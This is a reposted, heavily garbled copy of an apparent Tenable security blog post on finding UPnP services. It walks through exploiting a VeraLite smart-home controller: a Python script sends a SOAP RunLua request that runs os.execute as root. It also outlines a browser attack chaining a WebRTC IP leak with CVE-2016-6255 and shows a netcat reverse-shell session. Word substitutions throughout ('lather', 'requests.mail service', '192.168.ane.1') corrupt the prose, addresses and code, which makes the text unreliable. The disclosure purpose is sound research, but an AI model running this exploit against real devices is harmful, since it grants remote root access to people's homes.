how to see what is coming accross UPnP
Much has been said well-nigh the security of Universal Plugin and Play (UPnP) over the years. There have been FBI warnings, security researchers have published papers, and even Forbes has told u.s.a. to disable UPnP. But how do you know if UPnP servers are on your network? Are there specific services we should worry near? Practice we really need to be concerned about UPnP?
Finding UPnP services
To answer some of these questions, Tenable wrote a simple Python script called upnp_info.py. You tin find it on our GitHub. The script finds all UPnP services and enumerates their functionality. Cheque out the README for full details.
Some of yous may be thinking, "I don't need that script. I know I disabled UPnP." But did you lot? Consider this screenshot of my home router's spider web interface:
Looks like I disabled UPnP, right? Here's what upnp_info.py says about my network:
[+] Discovering UPnP locations [+] Discovery complete [+] 2 locations found: -> http://192.168.1.one:1990/WFADevice.xml -> http://192.168.1.ane:1901/root.xml Looks like there are still a couple of UPnP services available on my router even later on plain disabling that functionality. What does the UPnP Enabled checkbox on the router's UI do? I enabled information technology to find out what the difference is:
[+] Discovering UPnP locations [+] Discovery consummate [+] iii locations found: -> http://192.168.1.1:39468/rootDesc.xml -> http://192.168.ane.1:1990/WFADevice.xml -> http://192.168.ane.1:1901/root.xml Another UPnP service! Simply what are all these for? upnp_info.py provides a long clarification of each UPnP location it encounters. Since this output is verbose, here'southward a look at just the services provided by the new UPnP server on port 39468:
[+] Loading http://192.168.1.1:39648/rootDesc.xml... -> Server String: Linux/BHR4 UPnP/1.ane MiniUPnPd/ane.8 ==== XML Attributes === -> Device Type: urn:schemas-upnp-org:device:InternetGatewayDevice:ane -> Friendly Proper name: Verizon FiOS-G1100 -> Manufacturer: Linux -> Manufacturer URL: http://www.verizon.com/ -> Model Description: Linux router -> Model Name: Linux router -> Model Number: FiOS-G1100 -> Services: => Service Type: urn:schemas-upnp-org:service:WANIPConnection:i => Control: /ctl/IPConn => Events: /evt/IPConn => API: http://192.168.1.1:45973/WANIPCn.xml - SetConnectionType - GetConnectionTypeInfo - RequestConnection - ForceTermination - GetStatusInfo - GetNATRSIPStatus - GetGenericPortMappingEntry - GetSpecificPortMappingEntry - AddPortMapping - DeletePortMapping - GetExternalIPAddress Yous can generally effigy out what type of service a UPnP server offers by looking at the "Device Type" attribute. Above, you tin see that the device blazon is urn:schemas-upnp-org:device:InternetGatewayDevice:one. This UPnP server implements the infamous Internet Gateway Device (IGD) Protocol.
IGD allows anyone on the LAN to open holes in the router'south firewall. Everyone should disable IGD since it is easily driveling by both insider threats and malware. And don't think IGD is only a liability on the LAN. A tool called Filet O Firewall has proven that a motivated remote attacker can reach it from the WAN too. Nessus® users tin use plugin 35707 to cheque for IGD manipulation.
Withal, I'm not here to talk nigh IGD. IGD has been written and talked virtually so much that it has almost become interchangeable with UPnP. Yet, UPnP has then much more to offer! It tin can exist used to create file shares, stream media, control the book on your television, unlock your front door, and merely about annihilation that a developer can imagine!
Examining a dissimilar blazon of UPnP server
Now take a look at a different UPnP server on my dwelling network and consider the security threats it might represent.
On my network, I have a smart abode controller called VeraLite. The device implements multiple UPnP services, just I'll focus on the HomeAutomationGateway interface.
[+] Loading http://192.168.1.251:49451/luaupnp.xml... -> Server String: Linux/2.six.37.1, UPnP/one.0, Portable SDK for UPnP devices/1.vi.6 ==== XML Attributes === -> Device Blazon: urn:schemas-micasaverde-com:device:HomeAutomationGateway:1 -> Friendly Name: MiOS 35035299 -> Manufacturer: MiOS, Ltd. -> Manufacturer URL: http://www.mios.com -> Model Description: MiOS Z-Moving ridge dwelling gateway -> Model Name: MiOS -> Model Number: 1.0 -> Services: => Service Type: urn:schemas-micasaverde-org:service:HomeAutomationGateway:one => Command: /upnp/control/hag => Events: /upnp/effect/hag => API: http://192.168.ane.251:49451/luvd/S_HomeAutomationGateway1.xml - Reload - GetUserData - ModifyUserData - SetVariable - GetVariable - GetStatus - GetActions - RunScene - SceneOff - SetHouseMode - RunLua - ProcessChildDevices - CreateDevice - DeleteDevice - CreatePlugin - DeletePlugin - CreatePluginDevice - ImportUpnpDevice - LogIpRequest As y'all can come across from the device type, this interface is non one of the standard profiles defined by the Open Interconnect Consortium (formerly the UPnP Forum). The standard profiles outset with urn:schemas-upnp-org, but this HomeAutomationGateway profile starts with urn:schemas-micasaverde-com. This is a custom schema defined by MiCasaVerde (the maker of VeraLite).
What does this mean? It merely means that this UPnP interface is not burdened by a specification released past a governing body. The server's developers, MiCasaVerde, tin can implement any deportment they'd like. And so, I need to wait at the API closely to determine if whatever of the available actions present a security risk. For instance, is the Reload activeness a denial of service vector?
Background inquiry into the VeraLite revealed that, in 2013, Daniel Crowley (@dan_crowley), Jennifer Vicious (@savagejen), and David Bryan (@_videoman_) wrote and presented a paper called Dwelling house Invasion 2.0. The newspaper includes details nigh using VeraLite's HomeAutomationGateway RunLua action to proceeds root access on the device (TWSL2013-019 - CVE-2013-4863)! This is exactly the type of matter you should be worried well-nigh. Looking back at the upnp_info.py output, the RunLua activeness is available for our use.
Testing the RunLua activity
Given Daniel's previous success in executing Lua code via RunLua, I figured I'd requite it a endeavor besides. I assumed I'd have little chance of success since this vulnerability was reported three years ago and my VeraLite was running the latest firmware (i.7.855 released in August 2016). However, given MiCasaVerte'south response to SpiderLab's disclosure, I decided it couldn't hurt to try.
I created a simple script that would attempt to execute touch /tmp/hello:
import requests import sys if len(sys.argv) != 2: print 'Usage: ./run_lua.py <url>' sys.exit(0) payload = ('<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/lather/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">' + '<southward:Trunk>' + '<u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">' + '<Code>os.execute("touch /tmp/hello;")>/Code>' + '</u:RunLua>' + '</southward:Body>' + '</s:Envelope>') soapActionHeader = { 'soapaction' : '"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"', 'MIME-Version' : '1.0', 'Content-type' : 'text/xml;charset="utf-viii"'} resp = requests.mail service(sys.argv[1], information=payload, headers=soapActionHeader) print resp.text I was pretty surprised when I saw this response:
$ python run_lua.py http://192.168.ane.251:49451/upnp/control/hag <s:Envelope xmlns:south="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" ><south:Torso> <u:RunLuaResponse xmlns:u="Unknown Service"> <OK>OK</OK> </u:RunLuaResponse> </s:Body> </southward:Envelope> It worked! I fifty-fifty SSH'ed in and verified that the new file existed in /tmp/. That means everyone on my LAN tin get root access to my VeraLite! The device that is supposed to control all the other smart devices in my dwelling house is rootable via a single UPnP activeness!
That's bad but this is restricted to my LAN, right? I guess I trust the people on my LAN. And I'd certainly never be so foolish equally to betrayal this thing to the Internet.
Getting a reverse crush from the WAN
That got me thinking though… what would it take for a remote attacker to trigger the RunLua action? Assuming an attacker could directly a user from my LAN to a website, how could this be exploitable? There are a couple of obstacles an assailant would accept to overcome:
- The attacker would need to figure out the VeraLite'southward IP address
- The attacker would demand to bypass the browser's same-origin policy
Figuring out the VeraLite'due south IP address wouldn't exist as well hard. An attacker can get the victim'due south private IP address using the WebRTC IP leak. Simply knowing the victim'due south private IP doesn't reveal the VeraLite'due south address, simply it could help an attacker guess the accost.
Bypassing the browser's same-origin policy in order to communicate from the victim's browser to the VeraLite isn't easy though… But wait! VeraLite is using Portable SDK for UPnP Devices (libupnp) version 1.6.vi. As well being vulnerable to a handful of stack overflows, 1.6.6 is also vulnerable to CVE-2016-6255! CVE-2016-6255 allows me us to create an arbitrary file in the server'south web root. I tin create a webpage on the VeraLite and then load it in an iframe. That would get around the same-origin policy!
Proof of concept
In order to mankind this out, I wrote a proof of concept. You tin can discover the lawmaking on my GitHub. When runlua.html is loaded into a victim's browser and VeraLite is present on the victim's LAN, the result is a reverse trounce for the attacker. It looks like this:
[email protected]:~$ nc -fifty 1270 /bin/sh: tin can't access tty; job control turned off BusyBox v1.17.3 (2012-01-09 12:40:42 PST) congenital-in shell (ash) Enter 'help' for a list of congenital-in commands. / # What's truly interesting well-nigh this attack is that it doesn't only employ to the VeraLite. A remote attacker can invoke whatsoever activeness on any UPnP server that uses libupnp before the set up for CVE-2016-6255 by using this aforementioned-origin bypass.
Tenable solutions
Tenable recently released a Nessus plugin that exercises the VeraLite UPnP RunLua vulnerability. The plugin ID is 93911.
Furthermore, Tenable has recently revamped the Nessus UPnP plugins to improve discovery and provide further insight into UPnP server functionality. For example, in the VeraLite scan above, there is a plugin named UPnP API Listing (94047) that displays the UPnP actions that the server supports.
Other new plugins include UPnP File Share Detection (94046) and IGD Port Mapping List (94048).
Conclusion
Agreement the attack surface of your network is of utmost importance. UPnP can brand that challenging because services are not always piece of cake to notice or understand. The tools we've provided should help you have the offset stride in discovering and locking down your UPnP services.
Source: https://www.tenable.com/blog/do-you-know-where-your-upnp-is
0 Response to "how to see what is coming accross UPnP"
Post a Comment